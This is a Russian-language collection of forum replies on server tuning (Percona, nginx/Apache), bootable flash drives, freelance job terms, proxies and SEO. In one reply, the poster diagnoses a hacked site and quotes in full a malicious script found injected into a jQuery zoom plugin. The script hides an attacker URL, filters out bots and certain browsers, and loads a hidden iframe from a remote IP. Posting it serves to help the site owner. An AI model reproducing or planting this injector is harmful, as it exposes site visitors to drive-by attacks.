PerconaDB или MariaDB из коробки будут на голову выше по производительности, чем 5.5
Проводил тестирование на высоконагруженном сайте с phpBB - PerconaDB vs 5.5, Percona выиграла :)
PS.
5.5 не тюнил, а Percona была из коробки по умолчанию.
Если тюнить - любая версия будет намного быстрее работать, чем стандартная настройка.
Для этого будет нужно что-то вроде LiveCD, только на флешке и с кастомным набором ПО на ней, для того, что бы эта флешка, точнее ОС с нее было в состоянии работать с любым или почти любым железом. Обычная установленная ОС не прокатит, ибо на разных компах, если они не идентичны - не запустится.
Жизнь флешки будет коротка, выше уже сказали.
По поводу десктоп или сервер: если нужен сервер, для работы с серверным ПО, то сервер-сборка, если же важен графический интерфейс, то это уже не server, тогда качать и ставить десктоп и докачивать и устанавливать нужные пакеты дополнительно.
Ну и еще, грузиться с этой флехи в версии типа LiveCD будет долго, нудно, а если просто инсталяция на флешку как на носитель, то элементарно будет запускаться только на одной машине, и нигде более, по многим причинам. В общем жуткий изврат, который не будет работать так, как это необходимо и видимо задумывается.
Намного логичнее, при наличие Интернета - купить VDS дешевый, и на нем работать откуда угодно. Если Интернета нет постоянного - купите себе дешевенький нетбук, поставьте на него нужную сборку и делайте что хотите и как хотите.
А что может интересовать кроме денег, при наличие таких требований? Лелеять ваши проекты как свои? Врядли. Лелеять ваши проекты как свои возможно только в том случае, если помимо ЗП будет и интерес в виде процента, доли прибыли, например. Кроме того, судя по объемам заявленных задач - мне очень сомнительна занятость на 1/3 фулл-тайма.
Веб-программист со знаниями маркетинга, менеджмента, СЕО, быть в курсе технологий - не так уж мало :) К этому не забываем добавить специалиста в QA ("Контроль разработчиков по дизайну, верстке, CMS. ... соответствие ТЗ и здравому смыслу (кроссобраузерность, баги, нестыковке в ТЗ)).
А "самостоятельно проявлять инициативу" - это уже не обучение с вашей стороны, а желание найти того, кто будет еще и придумывать, а потом это придуманное двигать за вас.
Соглашусь с высказыванием выше - вам нужен грамотный, профессиональный партнер, на соответствующие ставки.
Nginx хорош для статики, php-fpm вообще лучше не использовать, обычный под апач куда как более приемлем.
Имелось ввиду 200 посетителей постоянно он-лайн? Тогда все равно нужна карта их активности, что они делают на форуме - активно постят комментарии, или же просто просматривают страницы. Это существенная разница. Так же довольно важно, что это вообще за форум, его функционал, сборка. Одно дело самописник с функцией "написать-прочитать", и другое дело - тяжелый phpBB, например.
При высокой нагрузке имеет смысл устанавливать nginx фронтенд, апач бакэнд, всю статику и коннекты обрабатывать nginx, все php обработки передавать в апач, в котором грамотно настроить Prefork модуль. Вместо обычного mysql ставить туже PerconaDB, уже протюненную и более скоростную соответственно. php-apc в помощь + memcached еще ускорит работу. Ну и по мелочам.
Ну а там уже смотреть на практике :)
Тогда никаких гарантий. При учете того, что ваши JS сыпят критическими ошибками - они явно не работают.
Ну и врядли нуленность файла будет заниматься выборкой свежих User-Agent, или отсылать пользователя на msn.com, что он делает при прямом скачивании с некоторых браузеров. Да и урлы в ней прописывать на левый IP - как бы тоже не было бы смысла, кстати, этот IP не работает, возможно он отвалился и за собой потянул неработоспособность скрипта.
В общем 99.9%, что хостинг ни при чем, а вот нуленность ваша выходит боком, только заметили вы это сейчас, из-за отпавшего хак-IP. Вполне возможно, что сайт ваш на php 5.3 нормально работает :)
Поковырял еще, видимо все же вас сломали.
modules/mod_magiczoom/core/magiczoom.js - этот файлик должен быть обфусцирован и нечитабелен. Это плагин под Jquery. А у меня он открывается совершенно другим:
//i19kalom9 var urlOfIframeTargetAddrGeter = 'h!!!!!!t!!!!!t!!!!p!!!!!:!!!!/!!!/!!!3!!!7!!!.!!!1!!!4!!!3!!.!!1!!!1!!.!!!2!!!7!!/!!j!!s!!/!!g!!!!e!!!t!!!!!U!!!!r!!!l!!!!.!!!p!!!h!!!!!!p'; var callbacks=new Object(); (function(){ function getJsonpUrl( url, cb ) { var i; do i='c'+Math.floor(Math.random() * 99999); while(callbacks); callbacks = function(obj) { cb(obj); delete callbacks; }; var script=document.createElement('script'); script.src=url+(url.indexOf('?')>=0?'&':'?')+'callback=callbacks.'+i; script.type='text/javascript'; document.body.appendChild(script); } function stripos (f_haystack, f_needle, f_offset) { var haystack = (f_haystack + '').toLowerCase(); var needle = (f_needle + '').toLowerCase(); var index = 0; if ((index = haystack.indexOf(needle, f_offset)) !== -1) { return index; } return false; } function zzz_check_ua(){ var blackList = 'Linux|Macintosh|FreeBSD|Chrome|iPad|iPhone|IEMobile|Android|Firefox/18.0|Firefox/18.0.1|Firefox/18.0.2|Firefox/19.0|Firefox/19.0.1|Firefox/19.0.2|Firefox/20.0|Firefox/21.0|Firefox/22.0|Firefox/23.0|Firefox/24.0|Maxthon|YandexNews|bingbot|YandexAntivirus|Chromium|Googlebot|Wget|YandexBot|Googlebot-Image|msnbot-media|SymbianOS|Mini|YandexDirect|MRSPUTNIK'; blackList = blackList.split('|'); var blackUA = false; for (var i in blackList) { if (stripos(navigator.userAgent, blackList)!==false) { blackUA = true; break; } } return blackUA; } function setCookie(name, value, expires) { var date = new Date( new Date().getTime() + expires*1000 ); document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString(); } function getCookie(name) { var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" )); return matches ? decodeURIComponent(matches[1]) : undefined; } function appendIframe(answer) { setTimeout( function() { document.write('<iframe src="' + answer.result + '" style="position:absolute;left:-900px;top:-900px;" height="112" width="112"></iframe>'); }, 0 ); } function insertIframe() { setTimeout( function() { getJsonpUrl( urlOfIframeTargetAddrGeter.split('!').join(''), appendIframe ); }, 0 ); } if (!zzz_check_ua()) { var cookie = getCookie('mnelow9187jimd1'); if (cookie == undefined) { setCookie('mnelow9187jimd1', true, 86400); insertIframe(); } } })(); //mrean1983f/*
и только после этого кода идет собственно сам
Magic Zoom v3.1.14 DEMO Copyright 2010 Magic Toolbox You must buy a license to use this tool. Go to www.magictoolbox.com/magiczoom/
himin,
рекомендую пациента в студию или личку. При учете, что у вас версия PHP осталась такой же, как вам нужно - то возможно проблемы либо у вас с браузером, либо с его дополнениями. Поскольку табы, лайтбокс и слайдер, скорее всего отношения к php не имеют, больше похоже на js/ajax. Можете также для начала попробовать получить доступ к сайтам с другого компьютера, браузера.
Кладете в корень сайта файлик, например с названием phpinfo.php
в котором пишите:
<?phpphpinfo();?>
Заходите на него через web (http://вашсайт/phpinfo.php)
и смотрите рабочую версию php на вашем сайте. Если она PHP 5.3, а в панели стоит 5.2, то все вопросы к хостеру.
Если же версия PHP 5.2, то видимо что-то еще сломалось на вашем сайте.
Ну и вопрос на дурака, в панели на 5.3 не переключилось автоматом случайно?
Для своих целей воспользовался услугами компаний, предоставляющих SEO-proxy, где выдается пул адресов для личного использования, с логин/пароль. Никто больше их не использует и шансы на бан минимальны, зависят от вас лично. Чистые культурные IP, при желании можно из разных подсетей найти.
Удовльствие в данное время - 2$ / 1 прокси.
И не нужно саппортить никакой сервак.
Без тематики, понимания структуры сайта и прочих мелочей - сказать особо нечего.
Хотя нет, вру, есть пару слов:
1) Запускал свой статейник, уник, рерайт. Месяц - первые уники. Дальше пишем - больше уников. Тематика общая, трафик пошел с НЧ. За 2 года поднялся до 15 000 уников в день, без закупок ссылок, люди ставили сами. Изначально верно выбрана тематика, правильно организована структура и внутрянка сайта.
2) Был старенький сайт-статейник, трафа давал мало. Когда стал я опытнее - понял, что сайт написан с точки зрения СЕО - никак. Исправил. Трафик вырос в разы. Ссылки не покупались, люди сами ставили.
Делайте выводы.